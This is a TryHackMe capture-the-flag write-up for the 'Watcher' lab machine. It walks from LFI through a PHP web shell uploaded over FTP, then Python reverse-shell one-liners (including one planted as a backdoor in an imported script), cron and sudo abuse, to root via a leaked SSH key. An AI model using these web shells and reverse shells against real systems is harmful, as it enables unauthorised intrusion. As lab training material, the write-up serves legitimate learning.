Watcher Writeup - TryHackMe
3
1

Watcher Writeup - TryHackMe

This is a writeup for Watcher room from TryHackMe. It's a medium room and a Linux machine focused on privilege escalation techniques.

Pedro Mariano
5 min
3
1

Welcome to the writeup for Watcher room from TryHackMe. It's a medium room and Linux machine focused on privilege escalation techniques composed by 7 flags to own the room.

If you are starting skills in privilege escalation I recommend you to try to own this room first without writeup.


Email image

“A boot2root Linux machine utilising web exploits along with some common privilege escalation techniques.”

Added the room IP -> watcher.thm to /etc/hosts.

Let's start with enumeration using NMAP ;)

#NMAP

nmap -v -sV -p21,22,80 -Pn watcher.thm -T4
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

As you can see there is a web page. It's a blog and that was made for the fans of "cork-based placemats".

Email image

I couldn't find anything in this page for now. Enumerating a little more with GOBUSTER and...

#GOBUSTER

gobuster dir -u http://watcher.thm/ -w /usr/share/wordlists/dirb/big.txt --no-error -e -t 100
===============================================================
http://watcher.thm/css (Status: 301) [Size: 308] [--> http://watcher.thm/css/]
http://watcher.thm/images (Status: 301) [Size: 311] [--> http://watcher.thm/images/]
http://watcher.thm/robots.txt (Status: 200) [Size: 69]
http://watcher.thm/server-status (Status: 403) [Size: 276]
===============================================================

... was possible to find the robots.txt page and with that we could find the 1st flag and one more page.

User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

Tried to access the other page (/secret_file_do_not_read.txt) listed in robots.txt but it returned an error "403 Forbidden".

With that, we can assume that this page exist. But the question is: how can I read load this page?

Taking some time to browse the web page around the posts, it is possible to notice that the pages are called by the parameter "post=" (http://watcher.thm//post.php?post=striped.php). But, is it possible to call another page? Yes! Through that was possible to load the "?post=/secret_file_do_not_read.txt" page and in its content we find an FTP credential.

Hi Mat, The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files. Will ---------- ftpuser:gi*********777

This seems an LFI right? Let's try to load other pages or system files.

Email image

Good, we can do that! But keep this in mind... - take a look at the users too ;)

Email image

This FTP credentials is still valid. With this access was possible to find the 2nd flag - You need to download it to read.

Email image

Following the note in /secret_file_do_not_read.txt - we have write permission at /home/ftpuser/ftp/files. In this way we can use this access to get an RCE.

Created an .txt file named naP0.php.

cat naP0.php
<?php system($_GET["nap0"]); ?>

Utilized the FTP access to upload the php file to the server.

<br>

It is now is possible to use the LFI fault to combine an RCE.

Email image

We can also evolve this interaction to a reverse shell. Let's do that!

http://watcher.thm/post.php?post=/home/ftpuser/ftp/files/naP0.php&nap0=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.***",7355));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Waited for connection on port 7355 through netcat tool. With this connection we can find the 3rd flag.

Email image

After the established connection I upgraded the shell interaction to "full tty" shell.

python3 -c 'import pty;pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo;fg
reset
export SHELL=bash
export TERM=xterm

Using "sudo -l" we could see that we can run all commands as "toby" user through sudo.

www-data@watcher:/tmp$ sudo -l
Matching Defaults entries for www-data on watcher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on watcher:
(toby) NOPASSWD: ALL

 Then we can do the first privilege escalation calling a bash as "toby" user: sudo -u toby /bin/bash.

<br>

Nice, now we are toby user! And now the 4th flag is in our hands.

Here in the /home/toby directory there is a note (/note.txt) left by Mat:

toby@watcher:~$ cat note.txt
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat

Checking the /etc/crontab configuration we can see the schedule to run as "mat" user every minute an script called cow.sh located at /home/toby/jobs.

Email image

We have write permission on this script. We can edit the script cow.sh to return a reverse shell. With this in mind, this connection will be stablished as "mat" user when executed through the schedule.

Email image

Then the connection through netcat was waited on port 608.

Now we are "mat"! And we can read the 5th flag.

Email image

Upgraded the shell interaction to"full tty" again.

In the /home/mat directory there is a note.txt left by Will:

mat@watcher:~$ cat note.txt
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will

With this information we can use the command "sudo -l" again:

mat@watcher:~$ sudo -l
Matching Defaults entries for mat on watcher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mat may run the following commands on watcher:
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

So "mat" user is allowed to run the script will_script.py as "will" user through sudo. Before do that, let's check the /script directory:

Email image

There is 2 scripts:

  • cmd.py
def get_command(num):
if(num == "1"):
return "ls -lah"
if(num == "2"):
return "id"
if(num == "3"):
return "cat /etc/passwd"
cat: __pycache__: Is a directory
  • will_script.py
import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
print("Invalid command!")
exit()
os.system(cmd)

Observed that we don't have permission to change the script will_script.py and it import a function from the cmd.py script, however we have permissions in the script cmd.py and through that we can inset a backdoor in this script to be runnet when called by will_script.py that can be runned trhough sudo command as "will" user.

Email image

Added the following code in cmd.py:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.2.****",777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

With that, it was possible to stablish a reverse shell after configuring the listenning port (port 777) using netcat and then running the will_script.py script.

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 2

And now our access is evolved to "will" user, which is in the "adm" group and apparently has more privileges.

Of course, we can't forget about the 6th flag! - no, your script wasn't safe! - Only those in the know will understand ;D

Email image

Upgraded the shell interaction to"full tty" again.

This time, there is not a note.txt file in the /home directory. But while exploring for the previous flags, I came across the /opt/backups directory that had permissions to "adm" group. And now with a user that is part of this group was possible to access it and find a file named key.b64. - As an alternative for a quick enumeration, you can use linpeas.sh.

Email image

The content of the file is composed of an string encoded in base64, which is reinforced by its name ".b64".

Decoding the content of the file using the command "base64 -d" returns an SSH private key.

Email image

Is it really a private key for the root user? As we have already gone through the other existing users with console and non-root (you can verify in /etc/passwd)...

Copied the output of the decoded content and created a private key in my machine with the decoded content.

And then the permissions of a private key were set with chmod.

Email image

After the private key has been prepared,  connection was attempted via SSH with the root user and... #PWNED! We are ROOT and of curse the last flag to finish this room o/

Email image

Conclusion

This is a really really good and funny room to practice common privilege escalation skills on Linux OS. It's very important that you have tried to catch each flag by yoursel, understanded each way and its features, because they are very important to explore, or to configure a Linux system and to build new skills.

Thanks for reading and feel free to pingback a coffee ;D

naP0

Seguir meu Canal

References:

https://book.hacktricks.xyz/linux-unix/privilege-escalation